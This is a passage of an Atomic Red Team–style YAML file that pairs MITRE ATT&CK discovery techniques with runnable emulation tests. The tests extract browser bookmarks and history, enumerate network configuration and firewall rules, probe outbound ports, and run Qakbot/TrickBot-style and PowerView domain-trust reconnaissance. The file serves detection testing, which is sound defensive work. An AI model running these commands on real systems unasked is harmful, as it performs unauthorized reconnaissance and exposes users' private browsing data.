        Specific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).(Citation: Chrome Roaming Profiles)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_contributors:
      - Mike Kemmerer
      - Manikantan Srinivasan, NEC Corporation India
      - Yinon Engelsman, Talon Cyber Security
      - Yonatan Gotlib, Talon Cyber Security
      x_mitre_deprecated: false
      x_mitre_detection: |-
        Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - Windows
      - macOS
      x_mitre_version: '2.0'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Access'
      type: attack-pattern
      id: attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7
      created: '2018-04-18T17:59:24.739Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1217
        external_id: T1217
      - source_name: Chrome Roaming Profiles
        description: Chrome Enterprise and Education Help. (n.d.). Use Chrome Browser
          with Roaming User Profiles. Retrieved March 28, 2023.
        url: https://support.google.com/chrome/a/answer/7349337
      - source_name: Kaspersky Autofill
        description: Golubev, S. (n.d.). How malware steals autofill data from browsers.
          Retrieved March 28, 2023.
        url: https://www.kaspersky.com/blog/browser-data-theft/27871/
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1217
    atomic_tests:
    - name: List Mozilla Firefox Bookmark Database Files on FreeBSD/Linux
      auto_generated_guid: 3a41f169-a5ab-407f-9269-abafdb5da6c2
      description: 'Searches for Mozilla Firefox''s places.sqlite file (on FreeBSD
        or Linux distributions) that contains bookmarks and lists any found instances
        to a text file.

        '
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Path where captured results will be placed.
          type: path
          default: "/tmp/T1217-Firefox.txt"
      executor:
        command: |
          find / -path "*.mozilla/firefox/*/places.sqlite" 2>/dev/null -exec echo {} >> #{output_file} \;
          cat #{output_file} 2>/dev/null
        cleanup_command: 'rm -f #{output_file} 2>/dev/null

          '
        name: sh
    - name: List Mozilla Firefox Bookmark Database Files on macOS
      auto_generated_guid: 1ca1f9c7-44bc-46bb-8c85-c50e2e94267b
      description: 'Searches for Mozilla Firefox''s places.sqlite file (on macOS)
        that contains bookmarks and lists any found instances to a text file.

        '
      supported_platforms:
      - macos
      input_arguments:
        output_file:
          description: Path where captured results will be placed.
          type: path
          default: "/tmp/T1217_Firefox.txt"
      executor:
        command: |
          find / -path "*/Firefox/Profiles/*/places.sqlite" -exec echo {} >> #{output_file} \;
          cat #{output_file} 2>/dev/null
        cleanup_command: 'rm -f #{output_file} 2>/dev/null

          '
        name: sh
    - name: List Google Chrome Bookmark JSON Files on macOS
      auto_generated_guid: b789d341-154b-4a42-a071-9111588be9bc
      description: 'Searches for Google Chrome''s Bookmark file (on macOS) that contains
        bookmarks in JSON format and lists any found instances to a text file.

        '
      supported_platforms:
      - macos
      input_arguments:
        output_file:
          description: Path where captured results will be placed.
          type: path
          default: "/tmp/T1217-Chrome.txt"
      executor:
        command: |
          find / -path "*/Google/Chrome/*/Bookmarks" -exec echo {} >> #{output_file} \;
          cat #{output_file} 2>/dev/null
        cleanup_command: 'rm -f #{output_file} 2>/dev/null

          '
        name: sh
    - name: List Google Chromium Bookmark JSON Files on FreeBSD
      auto_generated_guid: 88ca025b-3040-44eb-9168-bd8af22b82fa
      description: 'Searches for Google Chromium''s Bookmark file (on FreeBSD) that
        contains bookmarks in JSON format and lists any found instances to a text
        file.

        '
      supported_platforms:
      - linux
      input_arguments:
        output_file:
          description: Path where captured results will be placed.
          type: path
          default: "/tmp/T1217-Chrome.txt"
      executor:
        command: |
          find / -path "*/.config/chromium/*/Bookmarks" -exec echo {} >> #{output_file} \;
          cat #{output_file} 2>/dev/null
        cleanup_command: 'rm -f #{output_file} 2>/dev/null

          '
        name: sh
    - name: List Google Chrome / Opera Bookmarks on Windows with powershell
      auto_generated_guid: faab755e-4299-48ec-8202-fc7885eb6545
      description: |
        Searches for Google Chrome's and Opera's Bookmarks file (on Windows distributions) that contains bookmarks.
        Upon execution, paths that contain bookmark files will be displayed.
      supported_platforms:
      - windows
      executor:
        command: 'Get-ChildItem -Path C:\Users\ -Filter Bookmarks -Recurse -ErrorAction
          SilentlyContinue -Force

          '
        name: powershell
    - name: List Google Chrome / Edge Chromium Bookmarks on Windows with command prompt
      auto_generated_guid: 76f71e2f-480e-4bed-b61e-398fe17499d5
      description: |
        Searches for Google Chromes's and Edge Chromium's Bookmarks file (on Windows distributions) that contains bookmarks.
        Upon execution, paths that contain bookmark files will be displayed.
      supported_platforms:
      - windows
      executor:
        command: 'where /R C:\Users\ Bookmarks

          '
        name: command_prompt
    - name: List Mozilla Firefox bookmarks on Windows with command prompt
      auto_generated_guid: 4312cdbc-79fc-4a9c-becc-53d49c734bc5
      description: |
        Searches for Mozilla Firefox bookmarks file (on Windows distributions) that contains bookmarks in a SQLITE database.
        Upon execution, paths that contain bookmark files will be displayed.
      supported_platforms:
      - windows
      executor:
        command: 'where /R C:\Users\ places.sqlite

          '
        name: command_prompt
    - name: List Internet Explorer Bookmarks using the command prompt
      auto_generated_guid: 727dbcdb-e495-4ab1-a6c4-80c7f77aef85
      description: This test will list the bookmarks for Internet Explorer that are
        found in the Favorites folder
      supported_platforms:
      - windows
      executor:
        command: 'dir /s /b %USERPROFILE%\Favorites

          '
        name: command_prompt
    - name: List Safari Bookmarks on MacOS
      auto_generated_guid: 5fc528dd-79de-47f5-8188-25572b7fafe0
      description: 'This test searches for Safari''s Bookmarks file (on macOS) and
        lists any found instances to a text file.

        '
      supported_platforms:
      - macos
      input_arguments:
        output_file:
          description: Path where captured results will be placed.
          type: path
          default: "/tmp/T1217-Safari.txt"
      executor:
        command: "find / -path \"*/Safari/Bookmarks.plist\" 2>/dev/null >> #{output_file}
          \ncat #{output_file} \n"
        cleanup_command: 'rm -f #{output_file} 2>/dev/null

          '
        name: sh
    - name: Extract Edge Browsing History
      auto_generated_guid: 74094120-e1f5-47c9-b162-a418a0f624d5
      description: 'This test will extract Microsoft Edge browser''s history of current
        user

        '
      supported_platforms:
      - windows
      input_arguments:
        history_path:
          description: Microsoft Edge browser history file path
          type: String
          default: "$Env:LOCALAPPDATA\\Microsoft\\Edge\\User Data\\Default\\History"
        dest_path:
          description: Target file path to where the history to be extracted
          type: String
          default: "$Env:USERPROFILE\\Downloads\\edgebrowsinghistory.txt"
      executor:
        command: |
          $URL_Regex = '(htt(p|s))://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
          $History = Get-Content -Path "#{history_path}" | Select-String -AllMatches $URL_Regex | ForEach-Object { $_.Matches.Value } | Sort -Unique
          $History | Out-File -FilePath "#{dest_path}"
        cleanup_command: 'Remove-Item -Path "#{dest_path}"

          '
        name: powershell
        elevation_required: true
    - name: Extract chrome Browsing History
      auto_generated_guid: cfe6315c-4945-40f7-b5a4-48f7af2262af
      description: 'This test will extract browsing history of the chrome user

        '
      supported_platforms:
      - windows
      executor:
        command: |
          $Username = (whoami).Split('\')[1]
          $URL_Regex = '(htt(p|s))://([\w-]+\.)+[\w-]+(/[\w- ./?%&=]*)*?'
          $History = Get-Content -Path "$Env:systemdrive\Users\$UserName\AppData\Local\Google\Chrome\User Data\Default\History" | Select-String -AllMatches $URL_Regex | ForEach-Object { $_.Matches.Value } | Sort -Unique
          $History | Out-File -FilePath "$Env:USERPROFILE\Downloads\chromebrowsinghistory.txt"
        cleanup_command: 'Remove-Item -Path "$Env:USERPROFILE\Downloads\chromebrowsinghistory.txt"

          '
        name: powershell
        elevation_required: true
  T1016:
    technique:
      modified: '2023-07-28T14:40:54.580Z'
      name: System Network Configuration Discovery
      description: "Adversaries may look for details about the network configuration
        and settings, such as IP and/or MAC addresses, of systems they access or through
        information discovery of remote systems. Several operating system administration
        utilities exist that can be used to gather this information. Examples include
        [Arp](https://attack.mitre.org/software/S0099), [ipconfig](https://attack.mitre.org/software/S0100)/[ifconfig](https://attack.mitre.org/software/S0101),
        [nbtstat](https://attack.mitre.org/software/S0102), and [route](https://attack.mitre.org/software/S0103).\n\nAdversaries
        may also leverage a [Network Device CLI](https://attack.mitre.org/techniques/T1059/008)
        on network devices to gather information about configurations and settings,
        such as IP addresses of configured interfaces and static/dynamic routes (e.g.
        <code>show ip route</code>, <code>show ip interface</code>).(Citation: US-CERT-TA18-106A)(Citation:
        Mandiant APT41 Global Intrusion )\n\nAdversaries may use the information from
        [System Network Configuration Discovery](https://attack.mitre.org/techniques/T1016)
        during automated discovery to shape follow-on behaviors, including determining
        certain access within the target network and what actions to do next. "
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_contributors:
      - Austin Clark, @c2defense
      x_mitre_deprecated: false
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Further, (LinkById: T1059.008) commands may also be used to gather system and network information with built-in features native to the network device platform.  Monitor CLI activity for unexpected or unauthorized use  commands being run by non-standard users from non-standard locations.  Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Linux
      - macOS
      - Windows
      - Network
      x_mitre_version: '1.6'
      x_mitre_data_sources:
      - 'Command: Command Execution'
      - 'Script: Script Execution'
      - 'Process: Process Creation'
      - 'Process: OS API Execution'
      type: attack-pattern
      id: attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0
      created: '2017-05-31T21:30:27.342Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1016
        external_id: T1016
      - source_name: 'Mandiant APT41 Global Intrusion '
        description: 'Gyler, C.,Perez D.,Jones, S.,Miller, S.. (2021, February 25).
          This is Not a Test: APT41 Initiates Global Intrusion Campaign Using Multiple
          Exploits. Retrieved February 17, 2022.'
        url: https://www.mandiant.com/resources/apt41-initiates-global-intrusion-campaign-using-multiple-exploits
      - source_name: US-CERT-TA18-106A
        description: US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored
          Cyber Actors Targeting Network Infrastructure Devices. Retrieved October
          19, 2020.
        url: https://www.us-cert.gov/ncas/alerts/TA18-106A
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1016
    atomic_tests:
    - name: System Network Configuration Discovery on Windows
      auto_generated_guid: 970ab6a1-0157-4f3f-9a73-ec4166754b23
      description: |
        Identify network configuration information

        Upon successful execution, cmd.exe will spawn multiple commands to list network configuration settings. Output will be via stdout.
      supported_platforms:
      - windows
      executor:
        command: |
          ipconfig /all
          netsh interface show interface
          arp -a
          nbtstat -n
          net config
        name: command_prompt
    - name: List Windows Firewall Rules
      auto_generated_guid: '038263cb-00f4-4b0a-98ae-0696c67e1752'
      description: |
        Enumerates Windows Firewall Rules using netsh.

        Upon successful execution, cmd.exe will spawn netsh.exe to list firewall rules. Output will be via stdout.
      supported_platforms:
      - windows
      executor:
        command: 'netsh advfirewall firewall show rule name=all

          '
        name: command_prompt
    - name: System Network Configuration Discovery
      auto_generated_guid: c141bbdb-7fca-4254-9fd6-f47e79447e17
      description: |
        Identify network configuration information.
        Upon successful execution, sh will spawn multiple commands and output will be via stdout.
      supported_platforms:
      - macos
      - linux
      dependency_executor_name: sh
      dependencies:
      - description: 'Check if arp command exists on the machine

          '
        prereq_command: 'if [ -x "$(command -v arp)" ]; then exit 0; else exit 1;
          fi;

          '
        get_prereq_command: "(which yum && yum -y install net-tools)||(which apt-get
          && DEBIAN_FRONTEND=noninteractive apt-get install -y net-tools)\n"
      executor:
        command: |
          if [ "$(uname)" = 'FreeBSD' ]; then cmd="netstat -Sp tcp"; else cmd="netstat -ant"; fi;
          if [ -x "$(command -v arp)" ]; then arp -a; else echo "arp is missing from the machine. skipping..."; fi;
          if [ -x "$(command -v ifconfig)" ]; then ifconfig; else echo "ifconfig is missing from the machine. skipping..."; fi;
          if [ -x "$(command -v ip)" ]; then ip addr; else echo "ip is missing from the machine. skipping..."; fi;
          if [ -x "$(command -v netstat)" ]; then $cmd | awk '{print $NF}' | grep -v '[[:lower:]]' | sort | uniq -c; else echo "netstat is missing from the machine. skipping..."; fi;
        name: sh
    - name: System Network Configuration Discovery (TrickBot Style)
      auto_generated_guid: dafaf052-5508-402d-bf77-51e0700c02e2
      description: |
        Identify network configuration information as seen by Trickbot and described here https://www.sneakymonkey.net/2019/10/29/trickbot-analysis-part-ii/

        Upon successful execution, cmd.exe will spawn `ipconfig /all`, `net config workstation`, `net view /all /domain`, `nltest /domain_trusts`. Output will be via stdout.
      supported_platforms:
      - windows
      executor:
        command: |
          ipconfig /all
          net config workstation
          net view /all /domain
          nltest /domain_trusts
        name: command_prompt
    - name: List Open Egress Ports
      auto_generated_guid: 4b467538-f102-491d-ace7-ed487b853bf5
      description: |
        This is to test for what ports are open outbound.  The technique used was taken from the following blog:
        https://www.blackhillsinfosec.com/poking-holes-in-the-firewall-egress-testing-with-allports-exposed/

        Upon successful execution, powershell will read top-128.txt (ports) and contact each port to confirm if open or not. Output will be to Desktop\open-ports.txt.
      supported_platforms:
      - windows
      input_arguments:
        output_file:
          description: Path of file to write port scan results
          type: path
          default: "$env:USERPROFILE\\Desktop\\open-ports.txt"
        portfile_url:
          description: URL to top-128.txt
          type: url
          default: https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1016/src/top-128.txt
        port_file:
          description: The path to a text file containing ports to be scanned, one
            port per line. The default list uses the top 128 ports as defined by Nmap.
          type: path
          default: PathToAtomicsFolder\T1016\src\top-128.txt
      dependency_executor_name: powershell
      dependencies:
      - description: 'Test requires #{port_file} to exist

          '
        prereq_command: 'if (Test-Path "#{port_file}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{port_file}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "#{portfile_url}" -OutFile "#{port_file}"
      executor:
        command: "$ports = Get-content \"#{port_file}\"\n$file = \"#{output_file}\"\n$totalopen
          = 0\n$totalports = 0\nNew-Item $file -Force\nforeach ($port in $ports) {\n
          \   $test = new-object system.Net.Sockets.TcpClient\n    $wait = $test.beginConnect(\"allports.exposed\",
          $port, $null, $null)\n    $wait.asyncwaithandle.waitone(250, $false) | Out-Null\n
          \   $totalports++ | Out-Null\n    if ($test.Connected) {\n        $result
          = \"$port open\" \n        Write-Host -ForegroundColor Green $result\n        $result
          | Out-File -Encoding ASCII -append $file\n        $totalopen++ | Out-Null\n
          \   }\n    else {\n        $result = \"$port closed\" \n        Write-Host
          -ForegroundColor Red $result\n        $totalclosed++ | Out-Null\n        $result
          | Out-File -Encoding ASCII -append $file\n    }\n}\n$results = \"There were
          a total of $totalopen open ports out of $totalports ports tested.\"\n$results
          | Out-File -Encoding ASCII -append $file\nWrite-Host $results\n"
        cleanup_command: 'Remove-Item -ErrorAction ignore "#{output_file}"

          '
        name: powershell
    - name: Adfind - Enumerate Active Directory Subnet Objects
      auto_generated_guid: 9bb45dd7-c466-4f93-83a1-be30e56033ee
      description: |
        Adfind tool can be used for reconnaissance in an Active directory environment. This example has been documented by ransomware actors enumerating Active Directory Subnet Objects
        reference- http://www.joeware.net/freetools/tools/adfind/, https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html
      supported_platforms:
      - windows
      input_arguments:
        optional_args:
          description: Allows defining arguments to add to the adfind command to tailor
            it to the specific needs of the environment. Use "-arg" notation to add
            arguments separated by spaces.
          type: string
          default: 
      dependency_executor_name: powershell
      dependencies:
      - description: 'AdFind.exe must exist on disk at specified location (PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe)

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe") -ErrorAction ignore | Out-Null
          Invoke-WebRequest -Uri "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1087.002/bin/AdFind.exe" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe"
      executor:
        command: '"PathToAtomicsFolder\..\ExternalPayloads\AdFind.exe" -f (objectcategory=subnet)
          #{optional_args}

          '
        name: command_prompt
    - name: Qakbot Recon
      auto_generated_guid: 121de5c6-5818-4868-b8a7-8fd07c455c1b
      description: A list of commands known to be performed by Qakbot for recon purposes
      supported_platforms:
      - windows
      input_arguments:
        recon_commands:
          description: File that houses list of commands to be executed
          type: path
          default: PathToAtomicsFolder\T1016\src\qakbot.bat
      dependency_executor_name: powershell
      dependencies:
      - description: 'File to copy must exist on disk at specified location (#{recon_commands})

          '
        prereq_command: 'if (Test-Path "#{recon_commands}") {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory (split-path "#{recon_commands}") -ErrorAction ignore | Out-Null
          Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1016/src/qakbot.bat" -OutFile "#{recon_commands}"
      executor:
        command: '"#{recon_commands}"

          '
        name: command_prompt
    - name: List macOS Firewall Rules
      auto_generated_guid: ff1d8c25-2aa4-4f18-a425-fede4a41ee88
      description: "\"This will test if the macOS firewall is enabled and/or show
        what rules are configured. Must be run with elevated privileges. Upon successful
        execution, these commands will output various information about the firewall
        configuration, including status and specific port/protocol blocks or allows.
        \n\nUsing `defaults`, additional arguments can be added to see filtered details,
        such as `globalstate` for global configuration (\\\"Is it on or off?\\\"),
        `firewall` for common application allow rules, and `explicitauths` for specific
        rules configured by the user. \n\nUsing `socketfilterfw`, flags such as --getglobalstate
        or --listapps can be used for similar filtering. At least one flag is required
        to send parseable output to standard out. \n"
      supported_platforms:
      - macos
      executor:
        command: |
          sudo defaults read /Library/Preferences/com.apple.alf
          sudo /usr/libexec/ApplicationFirewall/socketfilterfw --getglobalstate
        name: bash
        elevation_required: true
    - name: DNS Server Discovery Using nslookup
      auto_generated_guid: 34557863-344a-468f-808b-a1bfb89b4fa9
      description: |
        Identify System domain dns controller on an endpoint using nslookup ldap query. This tool is being abused by qakbot malware to gather information on the domain
        controller of the targeted or compromised host. reference https://securelist.com/qakbot-technical-analysis/103931/
      supported_platforms:
      - windows
      executor:
        command: 'nslookup -querytype=ALL -timeout=12 _ldap._tcp.dc._msdcs.%USERDNSDOMAIN%

          '
        name: command_prompt
  T1087:
    technique:
      modified: '2024-01-12T23:36:56.245Z'
      name: Account Discovery
      description: |-
        Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., [Valid Accounts](https://attack.mitre.org/techniques/T1078)).

        Adversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment.

        For examples, cloud environments typically provide easily accessible interfaces to obtain user lists.(Citation: AWS List Users)(Citation: Google Cloud - IAM Servie Accounts List API) On hosts, adversaries can use default [PowerShell](https://attack.mitre.org/techniques/T1059/001) and other command line functionality to identify accounts. Information about email addresses and accounts may also be extracted by searching an infected system’s files.
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_contributors:
      - Daniel Stepanic, Elastic
      - Microsoft Threat Intelligence Center (MSTIC)
      - Travis Smith, Tripwire
      x_mitre_deprecated: false
      x_mitre_detection: |-
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).

        Monitor for processes that can be used to enumerate user accounts, such as <code>net.exe</code> and <code>net1.exe</code>, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)
      x_mitre_domains:
      - enterprise-attack
      x_mitre_is_subtechnique: false
      x_mitre_platforms:
      - Windows
      - Azure AD
      - Office 365
      - SaaS
      - IaaS
      - Linux
      - macOS
      - Google Workspace
      x_mitre_version: '2.4'
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'File: File Access'
      type: attack-pattern
      id: attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08
      created: '2017-05-31T21:31:06.988Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      revoked: false
      external_references:
      - source_name: mitre-attack
        url: https://attack.mitre.org/techniques/T1087
        external_id: T1087
      - source_name: AWS List Users
        description: Amazon. (n.d.). List Users. Retrieved August 11, 2020.
        url: https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html
      - source_name: Google Cloud - IAM Servie Accounts List API
        description: Google. (2020, June 23). gcloud iam service-accounts list. Retrieved
          August 4, 2020.
        url: https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list
      - source_name: Elastic - Koadiac Detection with EQL
        description: 'Stepanic, D.. (2020, January 13). Embracing offensive tooling:
          Building detections against Koadic using EQL. Retrieved November 30, 2020.'
        url: https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      x_mitre_attack_spec_version: 3.2.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
    atomic_tests: []
  T1482:
    technique:
      x_mitre_platforms:
      - Windows
      x_mitre_domains:
      - enterprise-attack
      x_mitre_contributors:
      - Dave Westgard
      - Elia Florio, Microsoft
      - Mnemonic
      - RedHuntLabs, @redhuntlabs
      - ExtraHop
      object_marking_refs:
      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
      type: attack-pattern
      id: attack-pattern--767dbf9e-df3f-45cb-8998-4903ab5f80c0
      created: '2019-02-14T16:15:05.974Z'
      x_mitre_version: '1.2'
      external_references:
      - source_name: mitre-attack
        external_id: T1482
        url: https://attack.mitre.org/techniques/T1482
      - source_name: Microsoft Operation Wilysupply
        url: https://www.microsoft.com/security/blog/2017/05/04/windows-defender-atp-thwarts-operation-wilysupply-software-supply-chain-cyberattack/
        description: Florio, E.. (2017, May 4). Windows Defender ATP thwarts Operation
          WilySupply software supply chain cyberattack. Retrieved February 14, 2019.
      - source_name: AdSecurity Forging Trust Tickets
        url: https://adsecurity.org/?p=1588
        description: Metcalf, S. (2015, July 15). It’s All About Trust – Forging Kerberos
          Trust Tickets to Spoof Access across Active Directory Trusts. Retrieved
          February 14, 2019.
      - source_name: Microsoft Trusts
        url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2003/cc759554(v=ws.10)
        description: Microsoft. (2009, October 7). Trust Technologies. Retrieved February
          14, 2019.
      - source_name: Microsoft GetAllTrustRelationships
        url: https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectory.domain.getalltrustrelationships?redirectedfrom=MSDN&view=netframework-4.7.2#System_DirectoryServices_ActiveDirectory_Domain_GetAllTrustRelationships
        description: Microsoft. (n.d.). Domain.GetAllTrustRelationships Method. Retrieved
          February 14, 2019.
      - source_name: Harmj0y Domain Trusts
        url: https://posts.specterops.io/a-guide-to-attacking-domain-trusts-971e52cb2944
        description: Schroeder, W. (2017, October 30). A Guide to Attacking Domain
          Trusts. Retrieved February 14, 2019.
      x_mitre_deprecated: false
      revoked: false
      description: 'Adversaries may attempt to gather information on domain trust
        relationships that may be used to identify lateral movement opportunities
        in Windows multi-domain/forest environments. Domain trusts provide a mechanism
        for a domain to allow access to resources based on the authentication procedures
        of another domain.(Citation: Microsoft Trusts) Domain trusts allow the users
        of the trusted domain to access resources in the trusting domain. The information
        discovered may help the adversary conduct [SID-History Injection](https://attack.mitre.org/techniques/T1134/005),
        [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003), and [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).(Citation:
        AdSecurity Forging Trust Tickets)(Citation: Harmj0y Domain Trusts) Domain
        trusts can be enumerated using the `DSEnumerateDomainTrusts()` Win32 API call,
        .NET methods, and LDAP.(Citation: Harmj0y Domain Trusts) The Windows utility
        [Nltest](https://attack.mitre.org/software/S0359) is known to be used by adversaries
        to enumerate domain trusts.(Citation: Microsoft Operation Wilysupply)'
      modified: '2022-11-08T14:00:00.188Z'
      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      name: Domain Trust Discovery
      x_mitre_detection: |
        System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation but as part of a chain of behavior that could lead to other activities based on the information obtained.

        Monitor processes and command-line arguments for actions that could be taken to gather system and network information, such as `nltest /domain_trusts`. Remote access tools with built-in features may interact directly with the Windows API to gather information. Look for the `DSEnumerateDomainTrusts()` Win32 API call to spot activity associated with [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Harmj0y Domain Trusts) Information may also be acquired through Windows system management tools such as [PowerShell](https://attack.mitre.org/techniques/T1059/001). The .NET method `GetAllTrustRelationships()` can be an indicator of [Domain Trust Discovery](https://attack.mitre.org/techniques/T1482).(Citation: Microsoft GetAllTrustRelationships)
      kill_chain_phases:
      - kill_chain_name: mitre-attack
        phase_name: discovery
      x_mitre_is_subtechnique: false
      x_mitre_data_sources:
      - 'Process: Process Creation'
      - 'Command: Command Execution'
      - 'Script: Script Execution'
      - 'Network Traffic: Network Traffic Content'
      - 'Process: OS API Execution'
      x_mitre_attack_spec_version: 2.1.0
      x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
      spec_version: '2.1'
      identifier: T1482
    atomic_tests:
    - name: Windows - Discover domain trusts with dsquery
      auto_generated_guid: 4700a710-c821-4e17-a3ec-9e4c81d6845f
      description: |
        Uses the dsquery command to discover domain trusts.
        Requires the installation of dsquery via Windows RSAT or the Windows Server AD DS role.
      supported_platforms:
      - windows
      executor:
        command: 'dsquery * -filter "(objectClass=trustedDomain)" -attr *

          '
        name: command_prompt
    - name: Windows - Discover domain trusts with nltest
      auto_generated_guid: 2e22641d-0498-48d2-b9ff-c71e496ccdbe
      description: |
        Uses the nltest command to discover domain trusts.
        Requires the installation of nltest via Windows RSAT or the Windows Server AD DS role.
        This technique has been used by the Trickbot malware family.
      supported_platforms:
      - windows
      dependencies:
      - description: 'nltest.exe from RSAT must be present on disk

          '
        prereq_command: 'WHERE nltest.exe >NUL 2>&1

          '
        get_prereq_command: 'echo Sorry RSAT must be installed manually

          '
      executor:
        command: |
          nltest /domain_trusts
          nltest /trusted_domains
        name: command_prompt
    - name: Powershell enumerate domains and forests
      auto_generated_guid: c58fbc62-8a62-489e-8f2d-3565d7d96f30
      description: |
        Use powershell to enumerate AD information.
        Requires the installation of PowerShell AD admin cmdlets via Windows RSAT or the Windows Server AD DS role.
      supported_platforms:
      - windows
      dependency_executor_name: powershell
      dependencies:
      - description: 'PowerView PowerShell script must exist on disk

          '
        prereq_command: 'if (Test-Path "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1")
          {exit 0} else {exit 1}

          '
        get_prereq_command: |
          New-Item -Type Directory "PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null
          Invoke-WebRequest "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1"
      - description: 'RSAT PowerShell AD admin cmdlets must be installed

          '
        prereq_command: 'if ((Get-Command "Get-ADDomain" -ErrorAction Ignore) -And
          (Get-Command "Get-ADGroupMember" -ErrorAction Ignore)) { exit 0 } else {
          exit 1 }

          '
        get_prereq_command: 'Write-Host "Sorry RSAT must be installed manually"

          '
      executor:
        command: |
          Import-Module "PathToAtomicsFolder\..\ExternalPayloads\PowerView.ps1"
          Get-NetDomainTrust
          Get-NetForestTrust
          Get-ADDomain
          Get-ADGroupMember Administrators -Recursive
